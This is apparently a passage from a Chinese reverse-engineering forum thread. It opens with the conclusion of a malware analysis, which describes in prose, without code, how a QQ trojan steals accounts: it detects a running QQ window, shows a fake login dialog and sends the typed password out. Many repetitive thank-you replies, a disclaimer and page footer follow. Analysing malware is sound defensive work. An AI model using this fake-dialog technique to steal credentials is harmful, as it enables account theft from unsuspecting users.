&&分析到这里,我们基本上搞明白这个木马的盗号原理,虽然代码看着有点多,但是真正有用的不多。这么木马的原理也很简单,就是查询当前活动窗口,看有没有QQ在运行,有的话就获取QQ号,然后弹出一个提示对话框,误导用户,当用户往弹出的对话框中输入密码然后点击“登陆”时,木马就会把账号密码发送出去,从而达到盗号的目的。
就这个木马分析了一下午不给精华说不过去。累得我都快吐了。
祝学破解论坛全体成员2016年开心每一天!
欢迎原创软件增加“学破解论坛专版”,额外增加20HB,么么哒~
看起应该挺精彩,学习中
评分=感恩!简单却充满爱!感谢您的作品!
厉害 吃水不忘挖井人 羊年快乐
评分=感恩!简单却充满爱!感谢您的作品!
评分=感恩!简单却充满爱!感谢您的作品!
评分=感恩!简单却充满爱!感谢您的作品!
★★★★★ 热心人,佛祖保佑你事事顺利 ,财源滚滚!!!
★★★★★ 热心人,佛祖保佑你事事顺利 ,财源滚滚!!!
评分=感恩!简单却充满爱!感谢您的作品!
评分=感恩!简单却充满爱!感谢您的作品!!.
★★★★★ 热心人,佛祖保佑你事事顺利 ,财源滚滚!!!
吃水不忘引水人,学习中!
2015,羊年快乐,恭喜发财,万事如意!
好人有好报!你的热心我永远不忘!谢谢!
2015,羊年快乐,恭喜发财,万事如意!
2015,羊年快乐,恭喜发财,万事如意!
2015,羊年快乐,恭喜发财,万事如意!
评分=感恩!简单却充满爱!感谢您的作品!
2015,羊年快乐,恭喜发财,万事如意!
教程非常易懂,对新人帮助极大!楼主大爱!
评分=感恩!简单却充满爱!感谢您的作品!
2015,羊年快乐,恭喜发财,万事如意!
2015,羊年快乐,恭喜发财,万事如意!
2015,羊年快乐,恭喜发财,万事如意!
虽然一大堆代码看晕了,但还是默默点评。
2015,羊年快乐,恭喜发财,万事如意!
2015,羊年快乐,恭喜发财,万事如意!
2015,羊年快乐,恭喜发财,万事如意!
★★★★★ 热心人,佛祖保佑你事事顺利 ,财源滚滚!!!
★★★★★ 热心人,佛祖保佑你事事顺利 ,财源滚滚!!!
2015,羊年快乐,恭喜发财,万事如意!
评分,不会扣掉你的分!给楼主评分,你零损失!
拥有大量与。方法,使软件开发者能够更好的完善软件漏洞,大幅度提高软件防破解强度,充分保护软件开发者的利益与版权。
这个才是高手玩的
拥有大量与。方法,使软件开发者能够更好的完善软件漏洞,大幅度提高软件防破解强度,充分保护软件开发者的利益与版权。
沙发我自己来
拥有大量与。方法,使软件开发者能够更好的完善软件漏洞,大幅度提高软件防破解强度,充分保护软件开发者的利益与版权。
玩病毒& &牛逼啊
拥有大量与。方法,使软件开发者能够更好的完善软件漏洞,大幅度提高软件防破解强度,充分保护软件开发者的利益与版权。
高手的玩法不是破解,而是逆向了
拥有大量与。方法,使软件开发者能够更好的完善软件漏洞,大幅度提高软件防破解强度,充分保护软件开发者的利益与版权。
膜拜会IDA的
拥有大量与。方法,使软件开发者能够更好的完善软件漏洞,大幅度提高软件防破解强度,充分保护软件开发者的利益与版权。
现在都流行玩病毒吗
拥有大量与。方法,使软件开发者能够更好的完善软件漏洞,大幅度提高软件防破解强度,充分保护软件开发者的利益与版权。
精华坐等Admin加
拥有大量与。方法,使软件开发者能够更好的完善软件漏洞,大幅度提高软件防破解强度,充分保护软件开发者的利益与版权。
&&我来看看下
拥有大量与。方法,使软件开发者能够更好的完善软件漏洞,大幅度提高软件防破解强度,充分保护软件开发者的利益与版权。
什么东东 我来看下啊
拥有大量与。方法,使软件开发者能够更好的完善软件漏洞,大幅度提高软件防破解强度,充分保护软件开发者的利益与版权。
本站中所有被研究的素材与信息全部来源于互联网,版权争议与本站无关。本站所发布的任何软件的逆向分析文章、逆向分析视频、破解补丁、注册机和注册信息,仅限用于学习和研究软件安全的目的。您必须在下载后的24个小时之内,从您的电脑中彻底删除上述内容。学习逆向分析技术是为了更好的完善软件可能存在的不安全因素,提升软件安全意识,所以您如果喜欢某程序,请购买注册正版软件,获得正版优质服务!不得将上述内容私自传播、销售或者其他任何非法用途!否则,一切后果请用户自负!}

我要回帖

更多推荐

版权声明:文章内容来源于网络,版权归原作者所有,如有侵权请点击这里与我们联系,我们将及时删除。

点击添加站长微信